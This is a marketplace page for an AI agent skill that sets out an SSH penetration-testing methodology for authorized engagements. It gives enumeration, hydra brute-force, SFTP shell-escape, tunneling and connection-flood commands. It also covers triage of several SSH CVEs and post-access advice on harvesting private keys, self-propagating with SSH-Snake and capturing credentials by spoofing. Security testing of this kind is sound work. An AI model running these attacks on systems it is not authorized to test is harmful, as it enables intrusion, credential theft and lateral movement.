Skip to main content Inicio Creadores xalgord xalgorix pentesting-ssh
pentesting-ssh Testing SSH services (default port 22) for weak algorithms/host keys, default and brute-forceable credentials, key-based auth gaps, SFTP shell escapes and tunneling, auth-method downgrade, and high-impact CVEs (regreSSHion CVE-2024-6387, XZ backdoor CVE-2024-3094, Erlang/OTP CVE-2025-32433, libssh CVE-2018-10933) during authorized engagements.
Ir a la instalación Skills Marketplace Descubre y explora habilidades de IA creadas por la comunidad.
Instalar con Codex o Claude Copia este prompt, pégalo en Codex, Claude u otro asistente, y deja que revise la página de la skill y la instale por ti.
Mostrar detalles del prompt Un comando directo omite el prompt de revisión. Revisa el origen antes de ejecutarlo.
npx skills add https://github.com/xalgord/xalgorix --skill pentesting-sshEl comando permanece en una sola línea. Desplázate horizontalmente para revisarlo antes de copiarlo.
¿Prefieres una copia local? Descarga los archivos que SkillsMP tiene disponibles ahora.
Descargar Zip Descargando... Ocupaciones relacionadas SOC
Basado en la clasificación ocupacional SOC
name pentesting-ssh description Testing SSH services (default port 22) for weak algorithms/host keys, default and brute-forceable credentials, key-based auth gaps, SFTP shell escapes and tunneling, auth-method downgrade, and high-impact CVEs (regreSSHion CVE-2024-6387, XZ backdoor CVE-2024-3094, Erlang/OTP CVE-2025-32433, libssh CVE-2018-10933) during authorized engagements. domain cybersecurity subdomain network-services-pentesting tags ["penetration-testing","network-services","ssh"] version 1.0 author xalgorix license Apache-2.0
Pentesting SSH (port 22)
When to Use
Default port 22/tcp; management/embedded services may expose SSH/Erlang-OTP on 2022, 830, 2222.
When nmap/banner shows ssh, OpenSSH, Dropbear, libssh, wolfSSH, or an SSH-2.0-* banner.
For auditing crypto posture, authentication configuration, key trust, and known daemon vulnerabilities.
Quick Enumeration
nc -vn <IP> 22
ssh-keyscan -t rsa,ecdsa,ed25519 <IP> -p 22
nmap -p22 <IP> -sV
nmap -p22 <IP> -sC
nmap -p22 <IP> --script ssh2-enum-algos
nmap -p22 <IP> --script ssh-hostkey --script-args ssh_hostkey=full
nmap -p22 <IP> --script ssh-auth-methods --script-args="ssh.user=root"
python3 ssh-audit.py <IP>
Critical: Checks Most Often Missed
Auth-method downgrade — strong methods enabled without disabling password. Verbose mode reveals weaker methods still offered.
Default / known credentials — vendor defaults are common on appliances (see table). Also try SecLists ssh-betterdefaultpasslist.txt.
How to CONFIRM: hydra -l <user> -P creds.txt -t 4 ssh://<IP>.
Weak / leaked host & user keys — Debian weak-PRNG keys (g0tmi1k/debian-ssh) and rapid7 ssh-badkeys can be bruteforced/accepted.
How to CONFIRM: nmap --script ssh-publickey-acceptance or msf> use scanner/ssh/ssh_identify_pubkeys. SFTP shell escape — users confined to SFTP with /usr/bin/nologin can still get command execution by requesting a command at connect time.
How to CONFIRM: ssh user@<IP> id or ssh user@<IP> /bin/bash returns output despite "no shell".
High-impact CVEs to triage from the banner:
regreSSHion CVE-2024-6387 (OpenSSH 8.5p1–9.7p1) — pre-auth RCE via SIGALRM race when LoginGraceTime is non-zero.XZ backdoor CVE-2024-3094 (liblzma 5.6.0/5.6.1) — sshd RSA_public_decrypt hook; verify what's installed, do not trust banner alone.Erlang/OTP SSH CVE-2025-32433 — pre-auth RCE; any message code ≥ 80 accepted before auth (OTP < 27.3.3 / 26.2.5.11 / 25.3.2.20).libssh CVE-2018-10933 — server accepts client-sent SSH_MSG_USERAUTH_SUCCESS.
How to CONFIRM the XZ backdoor (avoid banner false negatives) xz --version
rpm -qi xz 2>/dev/null ; dpkg -l xz-utils 2>/dev/null
sha256sum /usr/lib*/liblzma.so*
ldd /usr/sbin/sshd | grep -E "systemd|lzma"
Workflow
Step 1: Enumerate (version, algorithms, auth methods) ssh-keyscan -t rsa,ecdsa,ed25519 <IP>
nmap -p22 <IP> --script ssh2-enum-algos,ssh-hostkey,ssh-auth-methods --script-args="ssh.user=root"
python3 ssh-audit.py <IP>
msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS <IP>; set RPORT 22; run; exit'
Step 2: Authenticate (default creds, keys, brute force)
hydra -v -V -l <Username> -P /usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt -t 1 <IP> ssh
nxc ssh <IP> -u users.txt -p passwords.txt
nmap --script ssh-publickey-acceptance -p22 <IP>
msfconsole -q -x 'use scanner/ssh/ssh_identify_pubkeys; set RHOSTS <IP>; run; exit'
python3 ssh-keybrute.py -H <IP> -p 22 -u root -d ./keys/
sudo ntpdate <dc.fqdn>
kinit <user> ; klist
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
Step 3: Exploit / Extract (escape, tunnel, CVE)
ssh user@<IP> /bin/bash
sftp> symlink / froot
sudo ssh -L <lport>:<remote_host>:<remote_port> -N -f <user>@<IP>
parallel -j200 "timeout 3 ssh -o PreferredAuthentications=none -o ConnectTimeout=2 attacker@${TARGET} " ::: {1..4000}
Step 4: Post-access / pivot
Harvest ~/.ssh/id_*, authorized_keys, known_hosts, and .bash_history for lateral movement.
Use SSH-Snake to recursively self-propagate across hosts using discovered private keys.
For MitM credential capture on the LAN, combine ARP/DNS spoofing with SSH-MITM .
Key Concepts Concept Description Algorithm audit Identify weak/legacy KEX, host-key, cipher, and MAC algorithms with ssh-audit/ssh2-enum-algos. Auth-method downgrade password left enabled alongside publickey; forced via PreferredAuthentications=password.Vendor defaults Appliances ship known user:pass pairs (Cisco, Dell, HP, Huawei, etc.). Weak PRNG keys Debian OpenSSL bug produced a tiny, brute-forceable keyspace (debian-ssh sets). SFTP escape Requesting a command at login bypasses nologin/forced-command restrictions. State-machine flaws Connection-layer messages (code ≥ 80) handled pre-auth → unauth RCE (Erlang/OTP, libssh). GSSAPI/Kerberos auth TGT-based login when the server exposes a host SPN.
Tools & Systems Tool Purpose nmap NSE ssh2-enum-algos, ssh-hostkey, ssh-auth-methods, ssh-publickey-acceptance.ssh-audit Server/client config audit; algorithm + CVE reporting (jtesta fork). ssh-keyscan / openssl Host key fingerprinting and banner grabbing. hydra / netexec (nxc) Credential brute force and spraying. Metasploit scanner/ssh/ssh_version, ssh_enumusers, ssh_identify_pubkeys, juniper_backdoor.SSH-Snake / SSH-MITM Key-based self-propagation; MitM credential capture. ssh-keybrute.py Lightweight python key brute-forcer with legacy algorithm support.
Common Scenarios
Scenario 1: Password auth left enabled → brute force ssh -v <IP> shows password is still offered behind publickey. Forcing PreferredAuthentications=password and running hydra with the SecLists default list yields a valid login.
Scenario 2: SFTP-only user escapes to a shell A backup user is configured with ForceCommand internal-sftp but the password/keyboard-interactive method still spawns a shell. ssh backup@<IP> /bin/bash returns an interactive root-group shell.
Scenario 3: Vulnerable OpenSSH banner Banner reveals OpenSSH 9.2p1 with non-zero LoginGraceTime. The host is flagged for regreSSHion (CVE-2024-6387); the tester documents exposure and recommends upgrade rather than weaponizing in production.
Output Format ## SSH Finding
**Service**: SSH
**Port**: 22/tcp (OpenSSH 8.2p1 Ubuntu)
**Severity**: High
**Finding**: Password authentication enabled with weak credentials
**Evidence**:
- ssh -v <IP>: "Authentications that can continue: publickey,password"
- hydra ssh://<IP>: login "deploy:Summer2024" valid
**Impact**: Remote attacker can brute-force interactive access as the deploy user, enabling lateral movement and key theft.
**Recommendation**:
1. Disable password auth (`PasswordAuthentication no`) and use key-based auth only.
2. Disable root login (`PermitRootLogin no`).
3. Enforce ssh-audit hardening guidance (remove weak KEX/cipher/MAC).
4. Patch the daemon and restrict exposure of management ports.
